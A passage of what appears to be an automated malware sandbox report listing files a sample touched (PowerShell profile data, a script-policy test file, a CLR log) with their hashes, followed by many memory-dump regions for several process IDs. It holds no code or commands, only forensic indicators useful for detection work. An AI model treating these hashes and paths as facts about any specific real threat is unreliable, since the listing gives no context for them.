84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
77d622bb1a5b250869a3238b9bc1402b

SHA1
d47f4003c2554b9dfc4c16f22460b331886b191b

SHA256
f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

SHA512
d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
f724bbbca205ff67756a1211f194a637

SHA1
49556a18431c690a2d42d87f93e6eb68a96d1d98

SHA256
12aaadbd93ee8af4fd10d6308d067a520ae60e2a3c1573fd9f94ca952a0eafc5

SHA512
f09238aaa243ee6841382dfd95bb7fadec7fb8a367be5e55fe651191dd3e9110a39b380ab72a595c7d09a1b49ab174fc40bdcbfb7a0b593760db924566bbfb75

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hnqq0p52.esd.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
4KB

MD5
fc1eb5010b6ad55adc66af2a5416b776

SHA1
268d970aae8bbbd076a1c34b41d6c9fbc6ebfe88

SHA256
3f4cb13b4f1e1fd40d1f554875df908dab5bf3233300214e9572d74c86657da9

SHA512
f707389df8ef9d805da128675dca3dd6ab54cf8b0b271c31fc2f886c096fbb22dc27b5767e2c1c433ad51835f874a9224cb064ea701b54b3d64e381d2fc9a77f

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
8682772e471a0e8fb38cb90a55bb647b

SHA1
c7db8683ed83f0759ecf7f819483eb081492f225

SHA256
f6bfc37cf3b113bd2b56e54c3c3116681508de7a7e330ea0164bcc4dc8e0b596

SHA512
a8167882467536861c12bcd041028771d82e740f4d09b32b89a4188408dd7fc0260965af17b7c31ab327e8aed1981d33575f786bc13263ab1001896de2af0700

Download Submit
memory/1884-104-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp

Filesize
8.0MB

Download
memory/1884-140-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp

Filesize
8.0MB

Download
memory/1884-166-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp

Filesize
8.0MB

Download
memory/1884-164-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp

Filesize
8.0MB

Download
memory/1884-162-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp

Filesize
8.0MB

Download
memory/1884-160-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp

Filesize
8.0MB

Download
memory/1884-158-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp

Filesize
8.0MB

Download
memory/1884-156-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp

Filesize
8.0MB

Download
memory/1884-154-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp

Filesize
8.0MB

Download
memory/1884-152-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp

Filesize
8.0MB

Download
memory/1884-150-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp

Filesize
8.0MB

Download
memory/1884-148-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp

Filesize
8.0MB

Download
memory/1884-146-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp

Filesize
8.0MB

Download
memory/1884-144-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp

Filesize
8.0MB

Download
memory/1884-142-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp

Filesize
8.0MB

Download
memory/1884-138-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp

Filesize
8.0MB

Download
memory/1884-136-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp

Filesize
8.0MB

Download
memory/1884-134-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp

Filesize
8.0MB

Download
memory/1884-132-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp

Filesize
8.0MB

Download
memory/1884-130-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp

Filesize
8.0MB

Download
memory/1884-128-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp

Filesize
8.0MB

Download
memory/1884-126-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp

Filesize
8.0MB

Download
memory/1884-103-0x0000025DFF510000-0x0000025DFF530000-memory.dmp

Filesize
128KB

Download
memory/1884-124-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp

Filesize
8.0MB

Download
memory/1884-122-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp

Filesize
8.0MB

Download
memory/1884-120-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp

Filesize
8.0MB

Download
memory/1884-110-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp

Filesize
8.0MB

Download
memory/1884-118-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp

Filesize
8.0MB

Download
memory/1884-112-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp

Filesize
8.0MB

Download
memory/1884-116-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp

Filesize
8.0MB

Download
memory/1884-114-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp

Filesize
8.0MB

Download
memory/3144-18-0x00007FF8AD280000-0x00007FF8ADD41000-memory.dmp

Filesize
10.8MB

Download
memory/3144-29-0x00007FF8AD280000-0x00007FF8ADD41000-memory.dmp

Filesize
10.8MB

Download
memory/3144-30-0x00007FF8AD280000-0x00007FF8ADD41000-memory.dmp

Filesize
10.8MB

Download
memory/3144-31-0x00007FF8AD280000-0x00007FF8ADD41000-memory.dmp

Filesize
10.8MB

Download
memory/3144-32-0x00007FF8AD280000-0x00007FF8ADD41000-memory.dmp

Filesize
10.8MB

Download
memory/3144-34-0x00007FF8AD280000-0x00007FF8ADD41000-memory.dmp

Filesize
10.8MB

Download
memory/3188-12-0x00007FF8AD280000-0x00007FF8ADD41000-memory.dmp

Filesize
10.8MB

Download
memory/3188-13-0x00007FF8AD280000-0x00007FF8ADD41000-memory.dmp

Filesize
10.8MB

Download
memory/3188-1-0x00007FF8AD283000-0x00007FF8AD285000-memory.dmp

Filesize
8KB

Download
memory/3188-4-0x000001FFF7BE0000-0x000001FFF7C02000-memory.dmp

Filesize
136KB

Download
memory/3188-16-0x00007FF8AD280000-0x00007FF8ADD41000-memory.dmp

Filesize
10.8MB

Download
memory/3232-72-0x00000170A7E40000-0x00000170A7E4A000-memory.dmp

Filesize
40KB

Download
memory/3232-76-0x00000170A7E90000-0x00000170A7E9A000-memory.dmp

Filesize
40KB

Download
memory/3232-71-0x00000170A7E60000-0x00000170A7E7C000-memory.dmp

Filesize
112KB

Download
memory/3232-70-0x00000170A7CF0000-0x00000170A7CFA000-memory.dmp

Filesize
40KB

Download
memory/3232-69-0x00000170A7C30000-0x00000170A7CE5000-memory.dmp

Filesize
724KB

Download
memory/3232-68-0x00000170A7C10000-0x00000170A7C2C000-memory.dmp

Filesize
112KB

Download
memory/3232-75-0x00000170A7E80000-0x00000170A7E86000-memory.dmp

Filesize
24KB

Download
memory/3232-74-0x00000170A7E50000-0x00000170A7E58000-memory.dmp

Filesize
32KB

Download
memory/3232-73-0x00000170A7EA0000-0x00000170A7EBA000-memory.dmp

Filesize
104KB

Download
memory/3900-105-0x00007FF795840000-0x00007FF795A51000-memory.dmp

Filesize
2.1MB

Download
memory/3900-49-0x00007FF795840000-0x00007FF795A51000-memory.dmp

Filesize
2.1MB

Download
memory/4212-36-0x00007FF71AAC0000-0x00007FF71ACD1000-memory.dmp

Filesize
2.1MB

Download
memory/4212-0-0x00007FF71AAC0000-0x00007FF71ACD1000-memory.dmp

Filesize
2.1MB

Download
memory/4672-113-0x00007FF729700000-0x00007FF729716000-memory.dmp

Filesize
88KB

Download
memory/4672-109-0x00007FF729700000-0x00007FF729716000-memory.dmp

Filesize
88KB

Download